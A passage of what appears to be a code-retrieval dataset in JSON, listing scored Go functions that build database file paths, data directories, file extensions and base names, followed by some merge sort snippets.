{\n\t// ~/.tnote/terminal_diary_xxx.db\n\tfolderName := GetAppFolderPath()\n\tif _, err := os.Stat(folderName); os.IsNotExist(err) {\n\t\terr := os.Mkdir(folderName, os.ModePerm)\n\t\tif err != nil {\n\t\t\tlog.Panic(err)\n\t\t}\n\t}\n\treturn folderName + \"/\" + fmt.Sprintf(dbFileNameTemplate, userName)\n}", "title": "" }, { "docid": "082eeef6359c6aae075cd1ab62594935", "score": "0.6032609", "text": "func (f *FileConfig) GetDBFilePath() string {\n\treturn f.RootFolder + \"/\" + f.DBFile\n}", "title": "" }, { "docid": "3ea40f4186cf95a16472f9c45be6ce83", "score": "0.5948519", "text": "func GetDBFile() string {\n\treturn filepath.Join(GetAppConfigFolder(), \"specs.db\")\n}", "title": "" }, { "docid": "b42d26b7c1b0fe9569ad0e820b9adec9", "score": "0.588888", "text": "func DbPath() string {\n\thome, err := homedir.Dir()\n\tif err != nil {\n\t\tjww.ERROR.Fatal(err)\n\t}\n\treturn filepath.Join(home, \".timed.db\")\n}", "title": "" }, { "docid": "fb00156ea24fb7c156feffd069eba48f", "score": "0.58746505", "text": "func (c *SQLiteConn) GetFilename(schemaName string) string {\n\tif schemaName == \"\" {\n\t\tschemaName = \"main\"\n\t}\n\treturn C.GoString(C.sqlite3_db_filename(c.db, C.CString(schemaName)))\n}", "title": "" }, { "docid": "278e40774e9065251b389374b31747b8", "score": "0.5873032", "text": "func GetDataPath() string {\n\t_, currentFilePath, _, _ := runtime.Caller(0)\n\tdirpath := path.Dir(currentFilePath)\n\tdatapath := path.Dir(dirpath)\n\treturn filepath.Join(datapath, \"data\")\n}", "title": "" }, { "docid": "5bd67e0725f5ba09b21b3a078868e603", "score": "0.5800415", "text": "func DataPath(file string) string {\n\treturn defaultApp.DataPath(file)\n}", "title": "" }, { "docid": "cc4aafb6dd74801de91658587be19512", "score": "0.5777589", "text": "func GetDatabaseFile() string {\n\treturn c.DatabaseFile\n}", "title": "" }, { "docid": "d8ce12b13e8c1e60d874f7862dcaca0c", "score": "0.5746542", "text": "func FileExt(fpath string) string { return path.Ext(fpath) }", "title": "" }, { "docid": "60c590daf41285649e3925529f3c881b", "score": "0.5728244", "text": "func getDBAndTableFromFilename(filename string) (string, string, error) {\n\tidx := strings.LastIndex(filename, \".sql\")\n\tif idx < 0 {\n\t\treturn \"\", \"\", fmt.Errorf(\"%s doesn't have a `.sql` suffix\", filename)\n\t}\n\tfields := strings.Split(filename[:idx], \".\")\n\tif len(fields) != 2 && len(fields) != 3 {\n\t\treturn \"\", \"\", fmt.Errorf(\"%s doesn't have correct `.` separator\", filename)\n\t}\n\treturn fields[0], fields[1], nil\n}", "title": "" }, { "docid": "3ab6dae2bc875786901d3e2cb75b91c8", "score": "0.5718371", "text": "func (svc *Service) GetDBPath() string {\n\treturn \"app.db\"\n}", "title": "" }, { "docid": "5f007242543721e0f4f602c9501b0f9f", "score": "0.5681482", "text": "func (d *Dataset) Path() (path string, err error) {\n\tif d.list == nil {\n\t\terr = errors.New(msgDatasetIsNil)\n\t\treturn\n\t}\n\tname := C.zfs_get_name(d.list.zh)\n\tpath = C.GoString(name)\n\treturn\n}", "title": "" }, { "docid": "dfcc46114b5ca2492d1351c9ea00749a", "score": "0.56669027", "text": "func (d Database) GetDataFolder() string {\n\treturn d.config.GetHomeDir()\n}", "title": "" }, { "docid": "d89b35d22f79546f3c6e8a9b20505cf1", "score": "0.56488967", "text": "func (db *Database) Path() string {\n\treturn db.path\n}", "title": "" }, { "docid": "dfc8512a2abfe33a59bab8cc9a2a713b", "score": "0.56257784", "text": "func findDBpath(fname string) (is bool, prefix string) {\n\tif !strings.HasPrefix(fname, \"/\") {\n\t\treturn false, \"\"\n\t}\n\n\tis = true\n\td, _ := path.Split(fname)\n\tif strings.HasSuffix(d, \"/journal/\") {\n\t\tprefix = path.Dir(d[0 : len(d)-1])\n\t}\n\tif prefix != \"\" && !strings.HasSuffix(prefix, \"/\") {\n\t\tprefix += \"/\"\n\t}\n\n\treturn is, prefix\n}", "title": "" }, { "docid": "ba86f35d08e55401ca8d2d810ccb8649", "score": "0.56140614", "text": "func (pdb *DB) Path() string {\n\treturn pdb.path\n}", "title": "" }, { "docid": "a03a29cf994794536cb639c2f043b2e0", "score": "0.56016535", "text": "func (ctl Controller) DataDirectory() string {\n\treturn fmt.Sprintf(\"/var/lib/postgresql/%s/%s\", ctl.Version, ctl.Name)\n}", "title": "" }, { "docid": "45af8b8aeaac99a5638b503ce1e512c6", "score": "0.5600815", "text": "func DataPath() string {\n\treturn dataPath\n}", "title": "" }, { "docid": "9019ed4800421957c0bae4837b1fb29c", "score": "0.5598469", "text": "func (d *SqliteDatabase) GetFilename() string {\n\treturn d.fileName\n}", "title": "" }, { "docid": "cdca5001e0c090051c2902ddada14944", "score": "0.55916905", "text": "func (cfg BaseConfig) DBDir() string {\n\treturn rootify(cfg.DBPath, cfg.RootDir)\n}", "title": "" }, { "docid": "28cd0c3cbf3d6f53cd48bc0d385457dd", "score": "0.5580489", "text": "func DataPath(create bool) (string, error) {\n\t// TODO: Handle Windows paths\n\tvar path string\n\tvar err error\n\n\txdgdata := os.Getenv(\"XDG_DATA_HOME\")\n\tif xdgdata != \"\" {\n\t\tpath = filepath.Join(xdgdata, suffix)\n\t} else {\n\t\tusr, err := user.Current()\n\t\tif err != nil {\n\t\t\treturn \"\", fmt.Errorf(\"Error getting user home dir\")\n\t\t}\n\t\thomedir := usr.HomeDir\n\t\tpath = filepath.Join(homedir, \".local/share\", suffix)\n\t}\n\n\tif create {\n\t\terr = os.MkdirAll(path, 0777)\n\t\tif err != nil {\n\t\t\treturn \"\", fmt.Errorf(\"Error creating directory %s\", path)\n\t\t}\n\t}\n\n\treturn path, err\n}", "title": "" }, { "docid": "88129640191186cc0f667627068df85f", "score": "0.55466557", "text": "func (f *SimpleFileStore) BaseDir() string {\n\treturn f.baseDir\n}", "title": "" }, { "docid": "88129640191186cc0f667627068df85f", "score": "0.55466557", "text": "func (f *SimpleFileStore) BaseDir() string {\n\treturn f.baseDir\n}", "title": "" }, { "docid": "b58036805e80c9de8a638700914ee511", "score": "0.5545254", "text": "func (p *PublicKey) Path(dbdir string) string {\n\treturn path.Join(dbdir, \"keys\", p.Filename())\n}", "title": "" }, { "docid": "756cce4b0a6be55a0a227d1e94369e11", "score": "0.554449", "text": "func (db *DB) Path() string {\n\treturn db.path\n}", "title": "" }, { "docid": "756cce4b0a6be55a0a227d1e94369e11", "score": "0.554449", "text": "func (db *DB) Path() string {\n\treturn db.path\n}", "title": "" }, { "docid": "756cce4b0a6be55a0a227d1e94369e11", "score": "0.554449", "text": "func (db *DB) Path() string {\n\treturn db.path\n}", "title": "" }, { "docid": "1add83872c4e3e110a5d57b590b61cf9", "score": "0.55422175", "text": "func Xsqlite3_db_filename(tls *libc.TLS, db uintptr, zDbName uintptr) uintptr {\n\tvar pBt uintptr\n\tpBt = Xsqlite3DbNameToBtree(tls, db, zDbName)\n\tif pBt != 0 {\n\t\treturn Xsqlite3BtreeGetFilename(tls, pBt)\n\t}\n\treturn uintptr(0)\n}", "title": "" }, { "docid": "089a1fdc3654540bfd8e744f146e7b65", "score": "0.553945", "text": "func (tileset *DB) Filename() string {\n\treturn tileset.filename\n}", "title": "" }, { "docid": "5279da0dac98edba567052ba7dd44bc9", "score": "0.55290055", "text": "func dataDir(dir string) string {\n\treturn filepath.Join(dir, \"data\")\n}", "title": "" }, { "docid": "397d74bd3a54582d2bb2df8ea225d19a", "score": "0.5528257", "text": "func (cfg BaseNodeConfig) DBDir() string {\n\treturn filepath.Join(cfg.DataDir, \"graph\", cfg.NetParams.Name)\n}", "title": "" }, { "docid": "b3b84aa1e224db51ae89f128d52c87f2", "score": "0.5516839", "text": "func getExt(path string) string {\n\tfor i := len(path) - 1; i >= 0 && !os.IsPathSeparator(path[i]); i-- {\n\t\tif path[i] == '.' {\n\t\t\treturn path[i+1:]\n\t\t}\n\t}\n\treturn \"\"\n}", "title": "" }, { "docid": "640aca10e7a8427b2061d324d4885d43", "score": "0.5493718", "text": "func (d *StormDatabase) GetFilename() string {\n\treturn d.fileName\n}", "title": "" }, { "docid": "b171c38e8717a002be1cb470c01fc49e", "score": "0.5464742", "text": "func getFileFormat(filename string) string {\n\treturn filepath.Ext(filename)\n}", "title": "" }, { "docid": "6365e0526471cb16859a6209d40ae702", "score": "0.5441446", "text": "func Xsqlite3_db_filename(tls *crt.TLS, _db uintptr /* *Tsqlite3 */, _zDbName uintptr /* *int8 */) (r uintptr) {\n\tvar _pBt uintptr // *TBtree\n\n\t_pBt = _234sqlite3DbNameToBtree(tls, _db, _zDbName)\n\tif _pBt != 0 {\n\t\treturn _1049sqlite3BtreeGetFilename(tls, _pBt)\n\t}\n\n\treturn null\n}", "title": "" }, { "docid": "df7ce007af330e58670bbd7583d82bce", "score": "0.5440704", "text": "func (a App) DataPath(file string) string {\n\treturn a.path(\"XDG_DATA_HOME\", DataHome, file)\n}", "title": "" }, { "docid": "e38f5fa99134a71d68da8d37e7af7c2f", "score": "0.54162306", "text": "func (f *OsFile) Base() string {\n\treturn filepath.Base(f.path)\n}", "title": "" }, { "docid": "450e69ebd9ba755272b935aae1fdcea4", "score": "0.54085517", "text": "func (s *Scope) DataPath(filename string) (string, error) {\n\tp, err := s.dataDir()\n\tif err != nil {\n\t\treturn p, err\n\t}\n\n\treturn s.appendPaths(p, filename), nil\n}", "title": "" }, { "docid": "320338c98492bdfe2b4b31ba12042202", "score": "0.5399208", "text": "func FileExt(path string) string {\n\text := filepath.Ext(path)\n\tif len(ext) == 0 {\n\t\treturn ext\n\t}\n\treturn ext[1:]\n}", "title": "" }, { "docid": "ba491f04bfed05b052bc36fd662e881e", "score": "0.53913087", "text": "func Path(cacheDir string) string {\n\tdbDir := db.Dir(cacheDir)\n\treturn filepath.Join(dbDir, metadataFile)\n}", "title": "" }, { "docid": "1aa65a36e198fd98ba6f74e6e31da67a", "score": "0.5388319", "text": "func (e *Extension) Dir() string {\n\te.index.RLock()\n\tdefer e.index.RUnlock()\n\n\treturn e.index.Ref.Dir()\n}", "title": "" }, { "docid": "b067d9844df525f30c3a42878770b0d5", "score": "0.53865445", "text": "func (f *Feature) BaseFilename() string {\n\treturn f.fileName\n}", "title": "" }, { "docid": "447bb8fed8a1ff6aa9023622159ed7a5", "score": "0.5379157", "text": "func PathName(fpath string) string { return path.Base(fpath) }", "title": "" }, { "docid": "38e7352e9c3822db7c589862ac3cf2d9", "score": "0.5377769", "text": "func fileForDate(d time.Time) (string) {\n\treturn fmt.Sprintf(\"data/%s.csv\", d.Format(\"01-02-2006\"))\n}", "title": "" }, { "docid": "ba01b68a9ed766e9aa516e154dd492c6", "score": "0.5376889", "text": "func Suffix(fpath string) string { return path.Ext(fpath) }", "title": "" }, { "docid": "ef4c724350655dfe5207d076c06c3b7d", "score": "0.5375116", "text": "func getExt(path string) string {\n\treturn strings.ToLower(filepath.Ext(path))\n}", "title": "" }, { "docid": "1b11d88ec6494045396938bc2bee9965", "score": "0.5374976", "text": "func prefix(context ServerContext, extension string) string {\n\treturn context.dataPath + \"/\" + extension\n}", "title": "" }, { "docid": "4ed5c8661c9d5a9b52425fd4b681ffcd", "score": "0.5374821", "text": "func blockDbPath(dbType string,cfg *Config) string {\n\t// The database name is based on the database type.\n\tdbName := blockDbNamePrefix + \"_\" + dbType\n\tdbPath := filepath.Join(cfg.DataDir, dbName)\n\treturn dbPath\n}", "title": "" }, { "docid": "55fb185fe2cc670293bbf2481fc50eb7", "score": "0.53634495", "text": "func (db *DbImpl) GetPath() string {\n\treturn db.path\n}", "title": "" }, { "docid": "b8e42accc5292ec0f360744be6a4184b", "score": "0.5345927", "text": "func (l lazypath) dataPath(elem ...string) string {\n\treturn l.path(xdg.DataHomeEnvVar, dataHome, filepath.Join(elem...))\n}", "title": "" }, { "docid": "a05276b6c431db6164edbf0c90e1e7b7", "score": "0.53293616", "text": "func (c *Cache) filename() string {\n\treturn fmt.Sprintf(\".dbman_%v\", c.name())\n}", "title": "" }, { "docid": "265aa88d4fb8a7361eeb4e2b17ead887", "score": "0.5326531", "text": "func GetDatabasePath(dialect string, databaseConfig config.DatabaseConfig) string {\n\tswitch dialect {\n\tcase \"mysql\":\n\t\treturn new(mysql).getDatabasePath(databaseConfig)\n\tdefault:\n\t\treturn new(mysql).getDatabasePath(databaseConfig)\n\t}\n}", "title": "" }, { "docid": "fd531e0d10e5da6a06e0f2b65435953f", "score": "0.5324022", "text": "func FileExt(fpath string) string {\n\treturn path.Ext(fpath)\n}", "title": "" }, { "docid": "6e2c5b7838e9a7ad27193d4c9364c6d8", "score": "0.5320788", "text": "func (d *Server) filename(suffix string) string {\n\treturn fmt.Sprintf(\"dnsmasq-%s-%s.%s\", d.name, d.iface, suffix)\n}", "title": "" }, { "docid": "a4cf19300a6b4df9e8d21a15c35919d3", "score": "0.5317858", "text": "func getBasePath() string {\n\t_, b, _, _ := runtime.Caller(0)\n\treturn filepath.Dir(b)\n}", "title": "" }, { "docid": "4c3cfe00e159472ac2926e407fccdfd7", "score": "0.5306232", "text": "func (s *FileStore) Path() string { return s.path }", "title": "" }, { "docid": "4049c313d94c9373c56dc0eb534b86d9", "score": "0.5302788", "text": "func GetDataPath(p string) string {\n\treturn strings.Replace(GetMetaPath(p), \"/metadata\", \"/data\", 1)\n}", "title": "" }, { "docid": "288884f921e827377cd6914c183ace35", "score": "0.5301476", "text": "func Extname(fpath string) string {\n\tif ext := path.Ext(fpath); len(ext) > 0 {\n\t\treturn ext[1:]\n\t}\n\treturn \"\"\n}", "title": "" }, { "docid": "f74a1ebb2729816b9f3ada2618b8880c", "score": "0.5296371", "text": "func (r *Region) FilePath() string {\n return path.Join(r.regionManager.RegionPath(), RegionDir)\n}", "title": "" }, { "docid": "18f0ac79e6ec5eeae03e425b577cb20a", "score": "0.52886057", "text": "func PgRelationFilepath(ctx context.Context, db DB, p0 pgtypes.Regclass) (string, error) {\n\t// call pg_catalog.pg_relation_filepath\n\tconst sqlstr = `SELECT * FROM pg_catalog.pg_relation_filepath($1)`\n\t// run\n\tvar r0 string\n\tlogf(sqlstr, p0)\n\tif err := db.QueryRowContext(ctx, sqlstr, p0).Scan(&r0); err != nil {\n\t\treturn \"\", logerror(err)\n\t}\n\treturn r0, nil\n}", "title": "" }, { "docid": "4a3242a27319c133101d5c118f138695", "score": "0.527497", "text": "func Basename(path string) string {\n ext := filepath.Ext(path);\n return strings.TrimSuffix(filepath.Base(path), ext);\n}", "title": "" }, { "docid": "4a3242a27319c133101d5c118f138695", "score": "0.527497", "text": "func Basename(path string) string {\n ext := filepath.Ext(path);\n return strings.TrimSuffix(filepath.Base(path), ext);\n}", "title": "" }, { "docid": "48540d60baa41531cff83f01dfdcdecd", "score": "0.5273312", "text": "func BasenameExt(fn string) (bn string) {\n\ti, j := strings.LastIndex(fn, \"/\"), len(fn) // xyzzy windoz\n\t// fmt.Printf ( \"i=%d j=%d\\n\", i, j )\n\tif i < 0 && j < 0 {\n\t\tbn = fn\n\t} else if i < 0 {\n\t\tbn = fn[0:j]\n\t} else {\n\t\tbn = fn[i+1 : j]\n\t}\n\treturn\n}", "title": "" }, { "docid": "15349a11f33ac29c4c6ebf655044eb18", "score": "0.52638364", "text": "func FileExtension() string {\n\treturn lookup(lang, \"file_extensions\", true)\n}", "title": "" }, { "docid": "bdf09c15ad6873cfe4ae39d5a06738f5", "score": "0.5262453", "text": "func getFullName(filename string, dirOpt ...string) string {\n\tdir := filepath.Dir(filename)\n\tif len(dirOpt) > 0 {\n\t\tdir = dirOpt[0]\n\t} else {\n\t\tif dir == \"\" {\n\t\t\tdir = \".\"\n\t\t}\n\t}\n\treturn dir + \"/\" + filepath.Base(filename)\n}", "title": "" }, { "docid": "140a6b794762f8c815844dfbf2fc38e0", "score": "0.52551407", "text": "func (s *Scope) dataDir() (string, error) {\n\tswitch s.Type {\n\tcase System:\n\t\treturn \"/usr/share\", nil\n\tcase User:\n\t\tpath := os.Getenv(\"XDG_DATA_HOME\")\n\t\tif path == \"\" {\n\t\t\treturn expandUser(\"~/.local/share\"), nil\n\t\t}\n\t\treturn path, nil\n\tcase CustomHome:\n\t\treturn filepath.Join(s.CustomHome, \".local/share\"), nil\n\t}\n\n\treturn \"\", ErrInvalidScope\n}", "title": "" }, { "docid": "30f1862b7bfe39022d5a4c4aa0fd87e6", "score": "0.52435577", "text": "func (ss *snapshotStore) getSnapFilePath(index uint64) (string, error) {\n\tfns, err := fileutil.ReadDir(ss.dir)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\twfn := fmt.Sprintf(\"%016x.db\", index)\n\tfor _, fn := range fns {\n\t\tif fn == wfn {\n\t\t\treturn path.Join(ss.dir, fn), nil\n\t\t}\n\t}\n\treturn \"\", fmt.Errorf(\"snapshot file doesn't exist\")\n}", "title": "" }, { "docid": "0057e4b7796370cf974fedc026049f93", "score": "0.52272105", "text": "func GetDbDir() string {\n\treturn getEnv(\"ENM_DB_DIRECTORY\", \"/data/database\")\n}", "title": "" }, { "docid": "dc1f05cd7287080010e9d09b1094fecb", "score": "0.5226308", "text": "func (f *Files) BaseDir() string {\n\treturn path.Join(BaseDir(), \"files\")\n}", "title": "" }, { "docid": "736cbe501cbd491e3b91a5d798e0a092", "score": "0.5219757", "text": "func GetGlobalDataFile() string {\n return path.Join(GetGlobalSettingsDir(), appGlobalDataFile)\n}", "title": "" }, { "docid": "1e087688ad0234939d92dce54b1d8e00", "score": "0.521028", "text": "func BaseName(fileName string) (string, string) {\n\tn := path.Base(fileName)\n\n\ti := strings.LastIndex(n, \".\")\n\tif i > 0 {\n\t\treturn n[:i], n[i+1:]\n\t}\n\n\treturn n, \"\"\n}", "title": "" }, { "docid": "11533a57ed89fe815426a344096447ef", "score": "0.52088773", "text": "func getGedcomFilename() (string, string) {\n\tid, err := uuid.NewUUID()\n\tutils.CheckErr(err)\n\n\tconfig := utils.GetConfig()\n\tfilename := path.Join(config.Gedcom.Path, id.String()+\".ged\")\n\tif utils.FileExists(filename) {\n\t\treturn getGedcomFilename()\n\t}\n\treturn id.String(), filename\n}", "title": "" }, { "docid": "3188c9d62d157231222ed26f7131cb2e", "score": "0.5207731", "text": "func baseName(s string) string {\n\treturn strings.TrimSuffix(filepath.Base(s), filepath.Ext(s))\n}", "title": "" }, { "docid": "559a009e0241d1dd8fb0be0ba4f73183", "score": "0.5188364", "text": "func (volp *DatasetVolumes) getPath(mountPath string, name string) string {\n\treturn filepath.Join(mountPath, \"..\", filepath.Base(mountPath)+\".\"+name)\n}", "title": "" }, { "docid": "0b85ad98f678d3c42e837eabfee4503b", "score": "0.51877815", "text": "func getFileExtension(arg string) string {\n\t// probably not a file. hence, wont have an extension\n\tif strings.Contains(arg, \"..\") || len(arg) < 2 {\n\t\treturn \"\"\n\t}\n\t// since the args is surrounded with \"}}\"\n\tr := []rune(arg)\n\tvar ext string\n\tfor i := len(r) - 1; i >= 0; i-- {\n\t\text = string(r[i]) + ext\n\t\tif r[i] == '.' || i < len(r)-3 {\n\t\t\tbreak\n\t\t}\n\t}\n\t// we expect a dot to determine if it is an extension\n\tif strings.Contains(ext, \".\") {\n\t\treturn ext\n\t}\n\treturn \"\"\n}", "title": "" }, { "docid": "59c84fa768dd5e35db01382d2ea5b9bc", "score": "0.5184541", "text": "func getMonDataDirPath(configDir, monName string) string {\n\treturn filepath.Join(getMonRunDirPath(configDir, monName), \"data\")\n}", "title": "" }, { "docid": "a745d26ff82cfc01db548b91eb488f30", "score": "0.5179643", "text": "func DataDir(env map[string]string, programName string) string {\n\tif env[\"XDG_DATA_HOME\"] != \"\" {\n\t\treturn filepath.Join(env[\"XDG_DATA_HOME\"], programName)\n\t} else if env[\"HOME\"] != \"\" {\n\t\treturn filepath.Join(env[\"HOME\"], \".local\", \"share\", programName)\n\t}\n\t// In theory we could also read /etc/passwd and look for the home based on\n\t// the process' UID\n\treturn \"\"\n}", "title": "" }, { "docid": "de4183d9c405c80d7e65e0f72d99dd4a", "score": "0.51730037", "text": "func FileExt(filepath string) string {\n\treturn strings.ToLower(path.Ext(filepath))[1:]\n}", "title": "" }, { "docid": "ffc3177e151ca2c16d2a089b72304a91", "score": "0.51709485", "text": "func getFilePath(basePath string, fileName string, env string) string {\n\tif env != \"\" {\n\t\tfileName = fmt.Sprintf(fileName, env)\n\t}\n\n\tpath := fmt.Sprintf(FilePath, basePath, fileName)\n\n\treturn path\n}", "title": "" }, { "docid": "67286fd88fb0ef380e711f1c4a7ca204", "score": "0.51587313", "text": "func (u UploadData) GetFullPath() string {\n\treturn filepath.Join(u.Destination, u.GetFullName())\n}", "title": "" }, { "docid": "f11e3dc631cfe5178f0325b1505a28d6", "score": "0.5151772", "text": "func getSQLFiles(d string) error { //BSFileDir(dir string/os.path ...)\n\terr := dirExists(d)\n\tif err != nil {\n\t\td = \"./sql\"\n\t\t//d = \"/home/hopley/go/src/github.com/f6systems/testbs/sql\"\n\t\terr = dirExists(d)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\tfiles, _ := ioutil.ReadDir(d)\n\tfor _, f := range files {\n\t\tlog.Println(\"File=\" + f.Name())\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "bf7c7cfe60fa5fcf30e486bc03eabc9a", "score": "0.514155", "text": "func blobPath(digest digest.Digest) (string, error) {\n\tif err := digest.Validate(); err != nil {\n\t\treturn \"\", errors.Wrapf(err, \"invalid digest: %q\", digest)\n\t}\n\n\talgo := digest.Algorithm()\n\thash := digest.Hex()\n\n\tif algo != cas.BlobAlgorithm {\n\t\treturn \"\", errors.Errorf(\"unsupported algorithm: %q\", algo)\n\t}\n\n\treturn filepath.Join(blobDirectory, algo.String(), hash), nil\n}", "title": "" }, { "docid": "68333c54be2d904bf991238021eec861", "score": "0.5140262", "text": "func (asset *Asset) Ext() string {\n\treturn path.Ext(asset.WritePath)\n}", "title": "" }, { "docid": "0306ed15394b4560081c4c36c4adee24", "score": "0.5138691", "text": "func Geolite2DatabasePath() string {\n\treturn geolite2DatabasePathStr\n}", "title": "" }, { "docid": "2b16cdb5439888c063fd3eb4a3df33bb", "score": "0.5136995", "text": "func DataDir() (string, error) {\n\thome, err := HomeDir()\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tif runtime.GOOS == \"darwin\" {\n\t\treturn path.Join(home, \"Library\", \"Jupyter\"), nil\n\t} else if runtime.GOOS == \"windows\" {\n\t\t// Modern Windows\n\t\tappdata := os.Getenv(\"APPDATA\")\n\t\tif appdata != \"\" {\n\t\t\treturn path.Join(appdata, \"jupyter\"), nil\n\t\t}\n\n\t\t// TODO: jupyter_config_dir() from python\n\t\tconfigDir, err := ConfigDir()\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t\treturn path.Join(configDir, \"data\"), nil\n\n\t} else { // *nix\n\t\txdg := os.Getenv(\"XDG_DATA_HOME\")\n\t\tif xdg != \"\" {\n\t\t\txdg = path.Join(home, \".local\", \"share\")\n\t\t}\n\t\treturn path.Join(xdg, \"jupyter\"), nil\n\t}\n\n}", "title": "" }, { "docid": "699b6a1cb89b468ee367d2867831476b", "score": "0.5132057", "text": "func getPlatformFile(filename string) (osFilePath string) {\n\n\tpath, file := filepath.Split(filename)\n\tvar newPath = filepath.Dir(path)\n\tosFilePath = newPath + string(os.PathSeparator) + file\n\n\treturn\n}", "title": "" }, { "docid": "4e112bd1b6a72233c422aa2f53330e64", "score": "0.51255685", "text": "func (d *driver) fullPath(subPath string) string {\n\treturn path.Join(d.rootDirectory, subPath)\n}", "title": "" }, { "docid": "97fb6a208a3a11965a4fd60232d7be04", "score": "0.5123666", "text": "func (c crdFile) path() string {\n\ts := string(c)\n\treturn s\n}", "title": "" }, { "docid": "c52a286df5675ce1d9ff8c8d942a3e3e", "score": "0.51143754", "text": "func FileExtension(path string) string {\n\treturn filepath.Ext(path)\n}", "title": "" }, { "docid": "69533619e9e995fd5d865594921e36e0", "score": "0.51134765", "text": "func GetDatabaseName(datasource string) (string, error) {\n\tdriver, dsName, e := ParseURL(datasource)\n\tif e != nil {\n\t\treturn \"\", e\n\t}\n\tswitch driver {\n\tcase \"maxcompute\":\n\t\t// maxcompute://root:root@odps.com?curr_project=my_project\n\t\tcfg, e := gomaxcompute.ParseDSN(dsName)\n\t\tif e != nil {\n\t\t\treturn \"\", e\n\t\t}\n\t\treturn cfg.Project, nil\n\tcase \"alisa\":\n\t\t// alisa://root:root@dataworks.com?curr_project=my_project\n\t\tcfg, e := goalisa.ParseDSN(dsName)\n\t\tif e != nil {\n\t\t\treturn \"\", e\n\t\t}\n\t\treturn cfg.Project, nil\n\tcase \"mysql\":\n\t\t// mysql://root:root@tcp(127.0.0.1:3306)/iris?maxAllowedPacket=0\n\t\tre := regexp.MustCompile(`[^/]*/(\\w*).*`) // Extract the database name of MySQL and Hive\n\t\tif group := re.FindStringSubmatch(dsName); group != nil {\n\t\t\treturn group[1], nil\n\t\t}\n\tcase \"hive\":\n\t\t// hive://root:root@127.0.0.1:10000/iris?auth=NOSASL\n\t\tcfg, e := gohive.ParseDSN(dsName)\n\t\tif e != nil {\n\t\t\treturn \"\", e\n\t\t}\n\t\treturn cfg.DBName, nil\n\tdefault:\n\t\tlog.Fatalf(\"unknown database '%s' in data source'%s'\", driver, datasource)\n\t}\n\treturn \"\", nil\n}", "title": "" }, { "docid": "d89b33957eb20a833640d98c71ef85a7", "score": "0.51100004", "text": "func (app *Application) getFileName() string {\n\tcleanTime := strings.Replace(app.StartTime.String()[:19], \":\", \"_\", -1)\n\tcleanTime = strings.Replace(cleanTime, \" \", \"_\", -1)\n\tcleanTime = strings.Replace(cleanTime, \"-\", \"_\", -1)\n\tfileNameSlice := []string{cleanTime, \"__\", app.Request.Method, \"__\", cleanUrl(app.Request.URL.String())}\n\tfileName := strings.Join(fileNameSlice, \"\")\n\tif len(fileName) > 196 {\n\t\tfileName = fileName[:196]\n\t}\n\treturn fileName + \".json\"\n}", "title": "" }, { "docid": "33f12fb900d325b16195ad7e2be545ca", "score": "0.510813", "text": "func (f File) Dir() string {\n\treturn f.HexID()[:prefixLenght]\n}", "title": "" }, { "docid": "57ada4375a36023f7bc43f8250242003", "score": "0.51058054", "text": "func GetExt(fileName string) string {\n\treturn path.Ext(fileName)\n}", "title": "" } ]
bf6a26e25270fd9c92c53cbe9f368021
MergeSort algorithm to take a slice of integers and slice indicies
[ { "docid": "a98c693ed5a83ab5ef4d8c0f164ae09b", "score": "0.6714058", "text": "func MergeSort(list []int, p, r int) {\n\tif p < r {\n\t\tq := (p + r) / 2\n\t\tMergeSort(list, p, q)\n\t\tMergeSort(list, q+1, r)\n\t\tmerge(list, p, q, r)\n\t}\n\n}", "title": "" } ]
[ { "docid": "088db56e99c0fe90ae832ad7cf1b8d8a", "score": "0.7402468", "text": "func MergeSort(slice []int) []int {\n\tif len(slice) < 2 {\n\t\treturn slice\n\t}\n\tmid := (len(slice)) / 2\n\tleft := MergeSort(slice[:mid])\n\tright := MergeSort(slice[mid:])\n\treturn Merge(left, right)\n}", "title": "" }, { "docid": "90f69ff115230847c01f0bf2a025d639", "score": "0.71109223", "text": "func mergeSort(nums []int, start, end int) {\n\tif start >= end-1 {\n\t\treturn\n\t}\n\tmiddle := (start + end) / 2\n\tmergeSort(nums, start, middle)\n\tmergeSort(nums, middle, end)\n\tmerge(nums, start, end)\n}", "title": "" }, { "docid": "307a61b6d06b3a3001ad2380688a98ab", "score": "0.6944835", "text": "func IntsInplaceMergesort(d []int, idx []int, l, r int, asc bool) {\n\t// (0) If data length == Threshold, then\n\tif l+SortThreshold >= r {\n\t\t// (0.1) use insertion sort.\n\t\tIntsInsertionSort(d, idx, l, r, asc)\n\t\treturn\n\t}\n\n\t// (1) Divide into left and right.\n\tres := (r + l) % 2\n\tc := (r + l) / 2\n\tif res == 1 {\n\t\tc++\n\t}\n\n\t// (2) Sort left.\n\tIntsInplaceMergesort(d, idx, l, c, asc)\n\n\t// (3) Sort right.\n\tIntsInplaceMergesort(d, idx, c, r, asc)\n\n\t// (4) Merge sorted left and right.\n\tif asc {\n\t\tif d[c-1] <= d[c] {\n\t\t\t// (4.1) If the last element of the left is lower then\n\t\t\t// the first element of the right, i.e. [1 2] [3 4];\n\t\t\t// no merging needed, return immediately.\n\t\t\treturn\n\t\t}\n\t} else {\n\t\tif d[c-1] >= d[c] {\n\t\t\treturn\n\t\t}\n\t}\n\n\tintsInplaceMerge(d, idx, l, c, r, asc)\n}", "title": "" }, { "docid": "97a67125455c7aa0b4f5a4d103b8fac8", "score": "0.6938236", "text": "func (s *mergeSort) merge(a, aux []int, lo, mid, hi int, less func(i, j int) bool) {\n\t// copy\n\tfor i := lo; i <= hi; i++ {\n\t\taux[i] = a[i]\n\t}\n\n\ti, j := lo, mid+1\n\tfor k := lo; k <= hi; k++ {\n\t\tif i > mid {\n\t\t\ta[k] = aux[j]\n\t\t\tj++\n\t\t} else if j > hi {\n\t\t\ta[k] = aux[i]\n\t\t\ti++\n\t\t} else if less(aux[j], aux[i]) {\n\t\t\ta[k] = aux[j]\n\t\t\tj++\n\t\t} else {\n\t\t\ta[k] = aux[i]\n\t\t\ti++\n\t\t}\n\t}\n}", "title": "" }, { "docid": "90cce754598d0ef7b5b656338e522e6e", "score": "0.6867999", "text": "func (merge *MergeSort) MergeSort(arr []int) {\n\tif len(arr) == 1 {\n\t\treturn\n\t}\n\n\tmidIndex := len(arr)/2 + len(arr)%2\n\tfirst := make([]int, midIndex)\n\tlast := make([]int, len(arr)-midIndex)\n\tmerge.split(arr, first, 